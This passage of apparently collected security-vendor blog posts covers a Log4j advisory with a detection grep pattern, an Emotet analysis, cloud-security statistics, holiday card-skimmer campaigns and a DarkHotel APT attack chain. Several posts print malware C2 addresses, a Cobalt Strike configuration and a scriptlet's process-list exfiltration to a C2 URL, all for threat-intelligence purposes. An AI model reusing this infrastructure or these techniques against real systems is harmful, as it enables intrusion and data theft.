solution is effective if it is overly complex to manage. Zscaler Workload Segmentation simplifies policies by providing the same level of coverage with up to 90 percent fewer policies that are based on identity. Machine learning eases operations further by automatically recommending segmentation policies. In summary, identity-based segmentation from Zscaler verifies software identity and enforces least-privileged access where only known good applications are allowed to communicate on approved paths. Segmentation using identity is extremely effective in protecting against a broad range of threats with no change to the applications or the network. This approach makes it easy to extend zero trust security to workloads in cloud and data center environments. Together with other solutions from Zscaler, organizations can use a zero trust architecture to minimize risk and the impact of future vulnerabilities. Take action: Request a custom Workload Segmentation demo today to get started on your journey. Run a complimentary internet attack surface analysis to see if you have any external attack surface using Apache. Join our webinar on Wednesday, December 15th for more details and expert guidance on the Apache vulnerability. Tue, 14 Dec 2021 14:00:02 -0800 Nagraj Seshadri Security Advisory: Log4j 0-Day Remote Code Execution Vulnerability (CVE-2021-44228) Background The Apache Software Foundation has released a security advisory with patch and mitigation details to address a remote code execution vulnerability (CVE-2021-44228) affecting Log4j versions 2.0-beta9 to 2.14.1. Over the past 24 hours, Zscaler ThreatlabZ has noticed several in-the-wild exploit attempts of this issue and expect this trend to rise over the weekend. A remote attacker could exploit this vulnerability to take control of an affected system which makes it extremely important for organizations to patch immediately as well as perform security scans for indicators of compromise from this exploit. What is the issue? An attacker can download and execute a malicious payload by submitting a specially crafted request to the vulnerable system. The attacker can then control log messages or log message parameters to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. Log4j is incorporated into many popular frameworks, making the impact widespread. Versions Impacted The vulnerability impacts multiple versions of Log4j and the applications that depend on it. Log4j versions 2.0 to 2.14.1 are vulnerable to this CVE. What can you do to protect yourself? Implement one of the mitigation techniques below. Java 8 (or later) users should upgrade to release 2.17.1 available here. Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon). Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class Older (discredited) mitigation measures The following mitigation measures were proposed initially. But, these were later found to be insufficient. Set system property "log4j2.formatMsgNoLookups" to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false". More details - How to identify if you are impacted by this: Run the following command to check log4j version running on the system find / -name log4j.jar Identify all instances of this jar being used and compare against the vulnerable versions of log4j. Vulnerable log4j version hashes can be found here. grep for pattern ’\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ in the application logs to check for exploit artifacts. Following the above, If you find the message “Error looking up JNDI resource” then that means you’re definitely vulnerable and there has been a failed exploit attempt. Successful attempts might not result in a message being logged, but a remote code can be downloaded and executed entirely in memory. Monitor for processes being spawned from the Java process, specifically shells which indicate compromise. Review logs of systems running the vulnerable version for unusual activity. Zscaler Coverage Zscaler ThreatLabz has added coverage to block exploitation attempts of this vulnerability through our Advanced Threat Protection and Advanced Cloud Sandbox Protection. Advanced Cloud Sandbox Signature. - Apache.Exploit.CVE-2021-44228 Advanced Threat Protection Signature - Apache.Exploit.CVE-2021-44228 Details related to these signatures can be found in the Zscaler Threat Library. References Sat, 11 Dec 2021 08:32:41 -0800 Jithin Nair Return of Emotet: Malware Analysis Key Points Emotet is a downloader malware used to download and execute additional modules and payloads. In January 2021, a law enforcement action disrupted the malware, its infrastructure, and some of its threat actors. After almost a year-long hiatus, Emotet returned to the threat landscape in November 2021. Emotet modules focus on credential theft, email theft, and spamming. Secondary Emotet payloads have reportedly been Cobalt Strike. Threatlabz has continued its analysis of the return of the prolific Emotet malware. In January 2021, a law enforcement action disrupted the Emotet malware and its infrastructure. This included the arrest of some of the threat actors involved with Emotet. Emotet has returned to the threat landscape as of November 14, 2021 and picked up where it left off after almost a year-long hiatus. This blog is a follow up to our November 16, 2021 “Return of Emotet malware” post and focuses on the technical aspects of the new version of the Emotet malware. Anti-Analysis Techniques To make malware analysis and reverse engineering more difficult, Emotet uses a number of anti-analysis techniques. One of the first ones that stands out is control flow flattening where the structure of the program’s control flow is removed, making it difficult to trace its execution. Figure 1 shows an example function where a randomized “control_flow_state” variable is used along with various while loops, if-else, switch, and other statements to confuse the analysis: Figure 1: Example function using control flow flattening Another technique that stands out is Windows API function call hashing with randomized function argument ordering. The Open Analysis HashDB IDA Plugin supports Emotet’s hashing algorithm which helps defeat this anti-analysis mechanism. Emotet encrypts all its important strings using an XOR-based algorithm and a per-string key. Figure 2 is an example IDA Python function that can be used to decrypt strings: import struct def decrypt_str(addr): tmp = get_bytes(addr, 8) xor_key = struct.unpack("I", tmp[0:4])[0] enc_len = struct.unpack("I", tmp[4:8])[0] str_len = xor_key ^ enc_len plain_buf = b"" enc_buf = get_bytes(addr+8, str_len) num_dwords = int(str_len / 4) for i in range(num_dwords): enc_dword = struct.unpack("I", enc_buf[i*4:i*4+4])[0] plain_dword = xor_key ^ enc_dword plain_buf += struct.pack("I", plain_dword) remaining_bytes = str_len % 4 if remaining_bytes: last_enc_dword = struct.unpack("I", enc_buf[-remaining_bytes:] + b"\x00"*(4-remaining_bytes))[0] last_plain_dword = xor_key ^ last_enc_dword plain_buf += struct.pack("I", last_plain_dword)[:remaining_bytes] return plain_buf Figure 2: IDA Python function to decrypt strings Configuration Using the same encryption algorithm as for strings, Emotet stores three encrypted configuration items: Command and Control (C2) IP addresses, ports, and “use TLS” flags An Elliptic Curve Diffie Hellman (ECDH) public key used in C2 communications An Elliptic Curve Digital Signature Algorithm (ECDSA) public key used to verify responses from a C2 Command and Control C2 communications is via HTTP requests. An example request looks like Figure 3: Figure 3: Example C2 request The URI is randomly generated and data is encrypted in the Cookie header (a POST request is used for larger amounts of data). The Cookie header contains a randomly generated key name and base64 encoded key value. Once decoded, the key value contains: A generated ECDH public key AES encrypted request data Random bytes The AES key used to encrypt request data is generated via the following method: The generated ECDH private key and embedded ECDH public key are used with the BCryptSecretAgreement function to generate a shared secret between the malware and C2 The AES key is derived from the shared secret using the BCryptDeriveKey function Plaintext request data, command data, and response data use a basic data encoding to encode DWORDs and variable length data. Request data contains the following: Command number Command data SHA256 hash Command data As an example, a “command poll” (command number 1) contains the following command data: Bot ID (computer name and volume serial number) Hash of malware process path Build date (e.g. 20211114) Malware version (e.g. 10000) Encoded Windows version and architecture Malware process session ID Optional module acknowledgement Response data is encrypted similarly to requests and once decrypted, the data is verified using the embedded ECDSA public key. Once verified, the data contains a command number and optional arguments. Commands Emotet has three broad commands: Remove self No operation / sleep Process subcommand Most of the functionality is implemented in seven subcommands: Subcommand Notes 1 Update self 2 Load and execute Emotet module 3 Download and execute an EXE 4 Download and execute an EXE (as console user) 5 Download and inject a DLL (DllRegisterServer export) 6 Download and execute a DLL with regsvr32.exe 7 Download and execute a DLL with rundll32.exe (Control_RunDLL export) The core component of Emotet is a downloader used to download and execute additional modules and payloads (e.g. likely Cobalt Strike). Modules Modules are DLL executables but require data from the Emotet core component and the received C2 command to run: Bot ID Embedded elliptic curve public keys Module ID (from C2 command) Module hash (from C2 command) Module argument (from C2 command) They use the same set of anti-analysis features as the core component and contain their own list of C2s to send and receive additional data and responses. Analysis of the modules is ongoing, but at the time of research, Threatlabz has observed the following Emotet modules and functionality: Module ID Notes 2 Process listing module 19 Mail PassView module 20 WebBrowserPassView module 21 Outlook account stealer module 22 Outlook email stealer module 23 Thunderbird account stealer module 24 Thunderbird email stealer module 28 Email reply chain spam module 29 Typical spam module 36 Possibly a network proxy module Most of the observed modules focus on mail and web browser credential theft, stealing emails, and spamming. The stolen mail credentials and emails are most likely used to fuel the spam modules. Spam Module Analysis As a deeper dive into one of the modules, let’s look at module ID 29. It is used to send typical spam messages (not reply chain spam). To download data for a spam campaign, the module sends command number “1007” with the following command data to its module specific C2 list: Module ID Module hash Bot ID Hardcoded 0 Optional SMTP account identifier and status Optional spam message identifier The C2 responds with encoded data in three lists: Presumably stolen SMTP account information used to send the spam (Figure 4) To and from email addresses for the spam (Figure 5) Spam message details and attachment (Figure 6) Figure 4: Example of post-processed stolen SMTP account list Figure 5: Example of post-processed To/From email list Figure 6: Example of post-processed spam message template The lists are used to create and execute a spam campaign. In the example above, the attachment was a maldoc with the SHA256 hash of eb8107b9e3162bd5b746d1270433cc26c961331c24fd4c9e90b2bf27902a7bc3. Reply Chain Spam Module Analysis The reply chain spam module (module ID 28) works similarly to the module just described. Let’s take a closer look at an example spam campaign generated by this module. The victim is tricked with a malspam using a reply-chain attack where an email thread has been stolen and pretends to be an original reply of the ongoing conversation (Figure 7): Figure 7: Stolen mail used in the campaign The attached malicious document uses social engineering to get the victim to enable macros (Figure 8): Figure 8: Document with legitimate looking content to trick the user The malicious macros are obfuscated (Figure 9): Figure 9: Macro code to deobfuscate HTML code The deobfuscated macros show that Emotet is downloaded and executed (Figure 10): Figure 10: Partially deobfuscated HTML code to download and execute the Emotet payload Conclusion After a law enforcement disruption and almost a year long hiatus, it seems Emotet is picking up where it left off. The malware’s core functionality is downloading additional modules and payloads. Emotet modules focus on credential theft, email theft, and spamming. Stolen credentials and emails are most likely used with the spamming modules to further the spread of Emotet. Stolen credentials along with Emotet’s secondary payloads (reportedly Cobalt Strike) are most likely used to provide initial access to ransomware operators and affiliates. Cloud Sandbox Detection Indicators of Compromise IOC Notes c7574aac7583a5bdc446f813b8e347a768a9f4af858404371eae82ad2d136a01 Reference sample 81.0.236[.]93:443 94.177.248[.]64:443 66.42.55[.]5:7080 103.8.26[.]103:8080 185.184.25[.]237:8080 45.76.176[.]10:8080 188.93.125[.]116:8080 103.8.26[.]102:8080 178.79.147[.]66:8080 58.227.42[.]236:80 45.118.135[.]203:7080 103.75.201[.]2:443 195.154.133[.]20:443 45.142.114[.]231:8080 212.237.5[.]209:443 207.38.84[.]195:8080 104.251.214[.]46:8080 138.185.72[.]26:8080 51.68.175[.]8:8080 210.57.217[.]132:8080 Configured C2s -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q== -----END PUBLIC KEY----- -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== -----END PUBLIC KEY----- ECDH and ECDSA Key 8f683e032dd715da7fb470b0fb7976db35548139d91f4a1a3ad5d64f1ce8daad Process listing module (2) 3c755a3a4bc5a4d229b98563262227d64ac18f5ff97d3b1f8fa37cfd30148142 Mail PassView module (19) 6f998e7f3aea5f5100e352135b089e585a7f95257d59a6c7b79a2fe3ae1445f4 WebBrowserPassView module (20) bc0c8796411e71eb962909b0db3b281a2eb68facd402cc88768867cdd1848431 Outlook account stealer module (21) 0ea7d56ea6cc2d838964dda792e148d872ebaab769a0d29abaf29009d6766ce7 Outlook email stealer module (22) fe5c53781c3ea6def61f69f78ec92eb7a711f898190443bb67ff266494bf2a35 Thunderbird account stealer module (23) 8ea4c69f707693b58cac94842f88e63f49b893adf95cf5a9ba0adbe61ee0a0a9 Thunderbird email stealer module (24) e730fb1b7466975558b9e22732c84c88ef6c447261f94bbb8b6d4cbc17fc95fd Email reply chain spam module (28) 461648507a0ea26c886f1aeab55206a63457f1842106cb48533eb991cdf7d2d6 Typical spam module (29) 40148daea1d5e04b0a756b827bd83a1e0f3c0bad3cd77361c52b96019eb7d1cc Possibly a network proxy module (36) 5b5fa30bf12f13f881708222824517d662f410b212a0f7f7ce5c611fd809f809 Cobalt Strike Secondary Payload { "BeaconType": [ "HTTPS" ], "Port": 443, "SleepTime": 5000, "MaxGetSize": 1403644, "Jitter": 10, "MaxDNS": "Not Found", "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbcI0B4jpE0I6Ioj0qYRjoDYlN52X78HX2BZ1bBLV60oOeXcvOGi7Rxcz/n0luXq mSpsw9M4x0dnUWFYPL2HUxzufEfchGPyxEnH6ASasVbS0OWqIkUsuri/5vJUvisrcKT9Ebodon8Z2AUqOaZZ8s37VUxJhSm4IxsLJ6WRgFkwIDAQABAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ==", "C2Server": "lartmana\.com,/jquery-3.3.1.min.js", "UserAgent": "Not Found", "HttpPostUri": "/jquery-3.3.2.min.js", "HttpGet_Metadata": "Not Found", "HttpPost_Metadata": "Not Found", "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "PipeName": "Not Found", "DNS_Idle": "Not Found", "DNS_Sleep": "Not Found", "SSH_Host": "Not Found", "SSH_Port": "Not Found", "SSH_Username": "Not Found", "SSH_Password_Plaintext": "Not Found", "SSH_Password_Pubkey": "Not Found", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Config": "Not Found", "Proxy_User": "Not Found", "Proxy_Password": "Not Found", "Proxy_Behavior": "Use IE settings", "Watermark": 0, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": [ "kJA=", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJA=", "Empty" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": "", "version": 4 } Cobalt Strike Config Mon, 13 Dec 2021 12:21:35 -0800 Dennis Schwarz The 2021 State of Cloud (In)Security Over the last two years, organizations have significantly accelerated their shift to the cloud. IT teams who hadn’t already started this process by 2020 were kickstarted by the global pandemic, when they suddenly found themselves needing to support a remote workforce. This trend only increased in 2021 as more and more companies and employees realized the scale, performance, and flexibility of cloud computing. This transformation has come with its own set of challenges, specifically security. Cloud security is its own beast: you can’t just lift and shift on-premises technologies and policies and expect that they will work, at least not well. There’s a new set of best practices that must be followed around access control, monitoring, attack surface management, encryption, and more. Unfortunately, many organizations are immature in this area, leaving them vulnerable. The Zscaler Threatlabz team analyzes the world’s largest security data set, which is built off of over 200 billion daily transactions across the Zscaler platform. Each year, ThreatLabz compiles anonymous cloud workload statistics from this data to get an understanding of the current state of cloud security and its various challenges. This year’s study of several thousand cloud workloads shows that compared to 2020, the range and prevalence of cloud security issues have only increased. Key findings 71% do not use multifactor authentication for cloud access 56% do not rotate access keys periodically 92% do not log access to cloud storage, eliminating the ability to conduct forensic analysis of an incident 90% of organizations are not aware that they have extensive read-write permissions provided to 3rd party vendors. Identity and Access Control Cloud providers continue to add more services, and the average number of distinct entitlements for these services now exceeds 5,000. This volume of entitlements has become exceedingly challenging to manage using traditional identity and access management (IAM) approaches like static policy and role-based access control (RBAC), and are much better managed by a Cloud Infrastructure Entitlements Management (CIEM) solution. Access control and password management have long been weak points for organizational security generally, and this remains true in cloud environments as well. 71% of cloud accounts did not make use of software or hardware based multi-factor authentication, up from 63% last year Over 25% of the user accounts had not been logged into for more than 45 days. Old and unused accounts are potential entry points into cloud accounts. Access keys pose a much bigger risk compared to passwords as they are routinely at risk of being exposed by either hard coding into the source or being leaked through config files. 56% of access keys had not been rotated in the previous 90 days, which is an increase of 6% over last year. 22% of accounts were found to have access to instances and data which have not been accessed in over 180 days. This indicates that they might have been provided excessive privileges or the data may no longer be required. 91% of accounts had been provided permissions which had never been used at all. The use of AWS IAM Access Analyzer would have helped identify these issues. A majority of granted entitlements are unnecessary or incorrectly configured. More than 95% of accounts in IaaS use, on average, less than 3% of the entitlements they are granted, which greatly increases the attack surface for account compromises. The move to the cloud also enables interesting paradigms in centralizing access control specifically to databases. 96% of the databases on AWS did not use IAM authentication. This would have allowed for a truly password-less but authenticated access to all DBs without the need to manage additional users for each database. Logging, Monitoring and Incident Response Comprehensive and accurate logs are the cornerstone for a proper incident response. We observed that most accounts were ill-equipped for this purpose as they did not sufficiently log everything. 92% of accounts did not log access to the accounts beyond 90 days. This is the same as last year. Access logs for object stores like S3 and blob stores were not enabled for over 90% of the buckets. This is an increase of 20% over the previous year and points to an increase in storage requirements. Without monitoring of these logs, any unauthorized accesses could not be identified. 54% of the key vaults did not maintain access logs. This leaves security teams blind to any compromise. Diagnostics data serve as an early warning against potential problems in a system. Detailed diagnostics were not enabled for 89 percent of databases and VMs in 2020. This number has improved to 75% this year but still requires significant improvements. Infrastructure Security EC2 Instance Metadata Service (IMDS) v1 is known to be insecure and opens up EC2 instances to SSRF vulnerabilities. Over 22% of the instances were still found to have the deprecated version enabled. Exposing management ports over the internet opens up the risk of compromise through zero-day or known vulnerabilities in the management services themselves. The incidence of this has reduced significantly compared to last year. Only 11% of the SSH ports are exposed to the internet compared to 26% last year; 4% of RDP ports are exposed this year compared to 20% last year. Storage and Encryption Queueing and notification services often hold sensitive information before it is processed and proper security measures applied. The sensitivity of this is frequently overlooked. 78% of such services were found to be missing server-side encryption. It is important to make use of customer-managed keys wherever possible. 99% of the keys used were cloud service provider (CSP) managed. CSPs have vulnerabilities too, and these could result in a loss of confidentiality and integrity of the data stored in the cloud environments. The ChaosDB vulnerability in Microsoft Azure is a recent example. 99% of storage buckets did not require mandatory encryption of data at rest or in transit. This risk remains the same as of last year. This exposes the files stored in these buckets to inadvertent compromise due to mistakes. The “Block Public Access” setting on S3 is a similar option which reduces the risk of public exposure of the files because of mistakes by users. 71% of the buckets did not have the setting enabled this year, which is a reduction of 7% over the year. 80% of block storages did not have disk encryption enabled. This is an increase of 7% over last year. Azure storage sets an example of having disk encryption enabled by default. Cloud Ransomware Cloud environments are not immune from malware and ransomware attacks. Threat actors continue to evolve their malware to target cloud environments and the data stored there more effectively. The most common ways attackers infiltrate businesses are by taking advantage of a 'misstep' or ‘misconfiguration’, such as an improperly configured asset, exploiting weak passwords, or exploiting insufficient policy controls. All of these are pervasive cloud security issues – thus cloud-based services are attractive targets for hackers who wish to steal or encrypt data. BCP/DR planning is critical to recover from these kinds of attacks. While preventive measures can be taken, this acts as an insurance in the event of an attack. Cloud services make it extremely easy to back and recover assets and data. Most newer ransomware not only encrypts the data but also threatens to exfiltrate and release the data. This can be made void by choosing to encrypt all data at rest. This makes the exfiltrated data useless to the adversary. Patching – Besides taking advantage of misconfigurations, most malware are able to take hold because of unpatched vulnerabilities. Choosing cloud services where the shared responsibility of patching rests with the CSP completely eliminates this threat vector in cloud services. During a malware attack, speed of response is of primary importance. This means the ability to collect logs from all sources, monitor them and automatically respond to critical events before they’ve had the chance to inflict damage. Supplier Chain Attacks in Cloud Cloud environments are at increased risk of a supply chain attack and can even lead to compliance risks. Data shows that only 4% of organizations don’t have any 3rd party apps in their environment. This means that the risk of excessive exposure matters for almost all cloud-run organizations. Security teams need to focus on minimizing the risk of 3rd parties in a cloud environment, because it provides room for a supply chain attack. Reducing the permissions provided to 3rd parties should be considered as a top priority and a shared responsibility between customers and vendors alike. 15% of vendors receive extensive write-permissions that allow them to modify active cloud resources. In most cases, the access could have been restricted. Over 90% of organizations were not aware that they have extensive read-write permissions provided to 3rd party vendors. Recommendations Use zero trust network access (ZTNA) to secure user access to cloud applications. The transformation from an office-based work environment to a secure work-from-anywhere environment cannot happen by adapting the same trust relationships. Companies have to adapt to ZTNA where access to applications is allowed only for authorized users. Zscaler Private Access (ZPA) can help you get zero-trust right by eliminating external attack surfaces and risks of lateral propagation. ZPA hides applications behind a cloud-native proxy and brokers 1:1 connections between users and applications so as not to expose the network. Use zero trust for cloud workloads. The transformation to the cloud from the legacy data centers to globally distributed cloud environments faces similar challenges. Companies should expand zero trust to the cloud as they do with people. This trust can go as broad as the communication between VPCs to as granular as communication between applications. Zscaler products such as Zscaler Cloud Connector and Zscaler Workload Segmentations can help solve these problems. Log and monitor access and traffic. Besides maintaining visibility as part of a zero trust deployment, incident response activities require comprehensive logging across all assets and services. Take responsibility for configuring and maintaining your own environment. While cloud environments are covered under a shared responsibility for security with the service provider, the proper configuration of these environments is the responsibility of the consumers. A cloud security posture management service can help identify misconfigurations, coupled with Cloud Infrastructure Entitlement Management can be used to identify permission issues and act as a logical progression from long-established identity and access management (IAM) and privilege access management (PAM) solutions built on least privilege approaches. Conclusion The use of public clouds is growing and so are the attacks targeting them. But that doesn’t mean public clouds are risky and organizations should stay away from them. ThreatLabz has found that the biggest factor in most successful cyberattacks on public cloud instances is security misconfigurations rather than underlying vulnerabilities in these infrastructures. The pandemic has only accelerated the shift to a distributed workforce and distributed applications. While the risks from these are expanding and the attacks exploiting them are increasing, companies should provide additional focus and scrutiny to their public cloud and focus on adapting their mindset towards securing a distributed workload. Tue, 07 Dec 2021 09:41:48 -0800 Naresh Annangar Black Friday Shoppers Once Again Scrooged By Cyber Attacks The holidays are here, and along with the eggnog and tacky sweaters comes the annual spike in phishing, scam, and card skimmer attacks targeting seasonal shoppers – particularly during the Black Friday and Cyber Monday shopping frenzies. This past weekend, ThreatLabz observed lots of malicious activity: some attackers luring victims with emails that offered heavy discounts but led to phishing pages; others injecting malicious code into e-commerce websites to steal credit card information. Zscaler also saw a huge spike generally in online shopping transactions during this period. In this write-up, we will explain the ecommerce traffic trends and associated cyber attacks that ThreatLabz observed in the wild associated with these campaigns. Traffic Trends Europe and Canada saw a significant jump in shopping transactions starting on Black Friday (November 26th), with e-commerce traffic jumping roughly 50% from the week prior: In the United States, with many businesses treating Black Friday as a holiday, the big shopping spike occurred on Cyber Monday (November 29th), with traffic increasing by roughly the same amount: In the US, other than Amazon, Kohl’s received the biggest traffic influx, with a significant jump from 3 million to 6 million transactions on Cyber Monday (100%). Transactions to Macy's also saw a significant jump from 1.4 million to 2.8 million trans on Cyber Monday (100%). Newly Registered Domain activity ThreatLabz observed a lot of new domains being registered related to Thanksgiving, Cyber Monday and Black Friday. Not all of these domains are necessarily malicious, but newly registered domains are always suspicious and one should be careful while accessing them, especially when domains are related to discounts and deals. Fig: Newly registered domains (NRDs) seen in the past 30 days. Cyber Attack Trends Case 1 Grelos is a skimmer group that has been active for the past 4-5 years, over which time they’ve continued enhancing their attack techniques and infrastructure. This skimmer group was seen targeting e-commerce websites with Cyber Monday deals over the holiday weekend. Below is an example of a Grelos attack, where a genuine website was injected with a malicious skimmer code. When an unsuspecting user enters their financial details, attackers capture that information. Fig: E-commerce website with Cyber Monday offerings and injected obfuscated Grelos skimmer. Exfiltration domain: checkoutmodules[.]biz This domain has been previously associated with malicious skimmer activities. Case 2 In the following example, we observed a site promoting Black Friday sales and offerings injected with obfuscated skimmer code. Fig: E-commerce website with Black Friday offerings and injected obfuscated skimmer code. In this case, the skimmer stores all the victim’s stolen payment details in the cookie and changes all the extracted HTML field IDs to their own to make it easier for the attackers to store and parse data. Fig: Extracting HTML field IDs from cookies and replacing them. This stolen data is hidden among general parameters and sent to the attacker to make it look like benign traffic. Here the key ‘statistic_hash’ holds the encoded stolen payment data. Fig: Stolen payment data in ‘statistic_hash’ Case 3: The biggest historical target of skimmer groups has been the Magento platform. But recently, ThreatLabz has started seeing other platforms like WooCommerce also being targeted. In the following example, a WooCommerce-based e-commerce website with offerings related to Cyber Monday is injected with malicious skimmer code. Fig: WooCommerce-based e-commerce website and injected skimmer code. The skimmer code has anti-debug capabilities and detects if devtools are opened. The victim's stolen payment data is sent to the attacker in a base64 encoded format. Fig: Data exfiltration URL and other fields extracted by the skimmer. Case 4: In addition to injected javascript skimming codes, Threatlabz also saw redirection to malicious websites happening from some of the benign websites. This was achieved by the attackers using an injected malicious code which was responsible for performing this redirection. Below is an example where a website related to Black Friday deals was injected with malicious code which redirects victims to other malicious/scam websites. Fig: Website with information on Black Friday deals and injected malicious redirection code. Redirected domain: sdk.expresswayautopr[.]com Conclusion The Zscaler ThreatLabz team is actively tracking campaigns targeting online shoppers and providing coverage to ensure that our customers are protected from these kinds of attacks. Users actively engaging in online shopping should follow the basic guidelines outlined below to protect their information and money: Use only legitimate e-commerce websites and make sure you are utilizing HTTPS/secure connections Don’t fall for exciting “too good to be true” offers from unknown sources, and be extremely wary of clicking on links or documents from these sources. Only download apps from official app stores, such as Google or Apple. Back up your documents and media files. You can always go the extra mile by encrypting your files. Thu, 02 Dec 2021 08:43:11 -0800 Prakhar Shrotriya New DarkHotel APT attack chain identified Summary In November 2021, ThreatLabz identified a previously undocumented variant of an attack chain used by the South Korea-based Dark Hotel APT group. We also discovered new activity on the command-and-control (C2) infrastructure previously associated with this APT group. The new activity on their infrastructure aligns with the type of targets chosen by this threat actor in the past. In this blog, we describe our new findings in detail, including technical analysis of the attack chain and its components as well as the C2 infrastructure analysis. Threat attribution DarkHotel is an advanced persistent threat (APT) group based out of South Korea that has been active since at least 2007. They are known to target senior business executives by uploading malicious code to their computers through infiltrated hotel WiFi networks, as well as through spear-phishing and P2P attacks. We attribute this attack chain to the Dark Hotel APT group with a high level of confidence due to the below reasons: 1. The multi-layer malicious document which drops a scriptlet post-exploitation. 2. Filename of the dropped file system artifacts such as the scriptlet file - googleofficechk.sct 3. The command-and-control (C2) commands are the same as earlier payloads used by Dark Hotel. 4. Timestamps of the dropped payloads are around the same timeframe when previously documented Dark Hotel APT activity was observed. Attack flow Figure 1 below illustrates the full attack chain. Figure 1: Attack chain Technical analysis For the purpose of technical analysis we will consider the document with MD5 hash: 89ec1f32e1bbf794c41fa5f5bc6869c0 [+] Stage 1: Malicious document The first stage of this attack is a multi-layered malicious document which defines an AltChunk element to load an embedded DOCX file. The embedded DOCX file defines another AltChunk element which loads an embedded malicious RTF file. Figure 2 below shows one of the defined AltChunk elements and its corresponding relationship. Figure 2: AltChunk element and its corresponding relationship The malicious RTF file contains three OLE objects as shown in Figure 3 Figure 3: OLE objects present inside malicious RTF When the RTF file is loaded, the three OLE objects are dropped in the %temp% directory with the names “p”, “b” and “googleofficechk.sct”. Out of these three dropped files, the scriptlet file (googleofficechk.sct) is executed which is described in detail in the next section. [+] Stage-2: Scriptlet file Similar to what has been described previously by Antiy Labs, the first operation performed by the scriptlet file is to send a Base64 encoded list of running processes to the configured C2 server. It sends a POST request to the URL “http://signing-config[.]com/cta/key.php” with DATA “L=G641giQQOWUiXE&q={Base64 encoded list of running processes}” The subsequent operations performed by this scriptlet file differ from what has been observed in past attacks. The scriptlet file in our case performs the following operations: 1. Checks if the directory “%LOCALAPPDATA%\PeerDistRepub\” exists else creates it. 2. Checks for the presence of file “%LOCALAPPDATA%\PeerDistRepub\msrvcd32.exe”. If the file exists, then it doesn't perform further operations. Note: This file check is likely performed to detect if the machine is already infected, which also indicates that the threat actor used multiple variations while performing the attack. 3. Releases the IP addresses bound to all DHCP-enabled network adapters 4. Copies the executable from “%temp%\p” to “%LOCALAPPDATA%\PeerDistRepub\qq3104.exe” 5. Copies the executable from “%temp%\b” to “%LOCALAPPDATA%\PeerDistRepub\qq2688.exe” 6. Creates a ZoneIdentifier ADS (Alternate Data Stream) corresponding to the files copied above with the following content: ZoneTransfer ZoneId=1 Note: The ZoneID=1 is written to create the false evidence that the file was downloaded from the Intranet 7. Execute the binary “qq3104.exe” whose functionality is described in detail in the next section 8. Renew the IPv4 address for the network adapters Figure 4 below shows the relevant scriptlet code Figure 4: Scriptlet code [+] Stage-3: Dropped binaries # qq3104.exe As mentioned in the previous section, the binary qq3104.exe gets executed as part of the operations performed by the scriptlet file. This binary mainly performs three operations: 1. Spoofs the process related information in the PEB structure to pretend as explorer.exe Figure 5: Code snippet responsible for PEB modification 2. Perform UAC bypass using elevation moniker against the vulnerable COM interfaces {3E5FC7F9-9A51-4367-9063-A120244FBEC7} and {D2E7041B-2927-42fb-8E9F-7CE93B6DC937} 3. Execute the binary qq2688.exe # qq2688.exe This binary on execution checks if there is any running process with the name “360Tray.exe” or “QQPCTray.exe” and does some firewall checks. These process names correspond to security software popularly used in China. The main operation performed by the binary is to register a Windows service which also serves as a persistence mechanism. To register the Windows service, the binary creates the registry key “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X” and populates the service related registry values. Along with the service related registry values, two additional registry values are defined with the name “s” and “x” under the same registry key. Based on the service registry values, it is an auto start service which executes VBScript code using mshta.exe. Figure 6: Code snippet responsible for registering the Windows service The VBScript code in turn executes an encoded PowerShell command which is shown in Figure 8 below Figure 7: Decoded PowerShell command executed by VBScript code [+] Stage-4: PowerShell scripts The PowerShell command which is executed as part of the service execution reads, decodes and executes the data stored under registry value “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X\\s”. The decoded data is a PowerShell script which executes another PowerShell command. The command is shown in Figure 9 below. Figure 8: Decoded PowerShell command executed by PowerShell script Similar to the first PowerShell command it also reads, decodes and executes the data stored under registry value “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X\\x”. The decoded data is an obfuscated PowerShell script which embeds an encoded .NET dll. The .NET dll is loaded and executed in-memory from within the PowerShell script. [+] Stage-5: .NET dll The .NET dll on analysis turns out to be the same downloader which is described in Antiy blog. The only changes are in the configured C2 servers and the parameters which are used as part of network requests. Information about the C2 servers is provided in Indicators of compromise section while the format for network requests is described below: Request format for data exfiltration: {C2 server URL}?im={MAC address}&mk=u&ltc={victim information} OR {C2 server URL}?xt={MAC 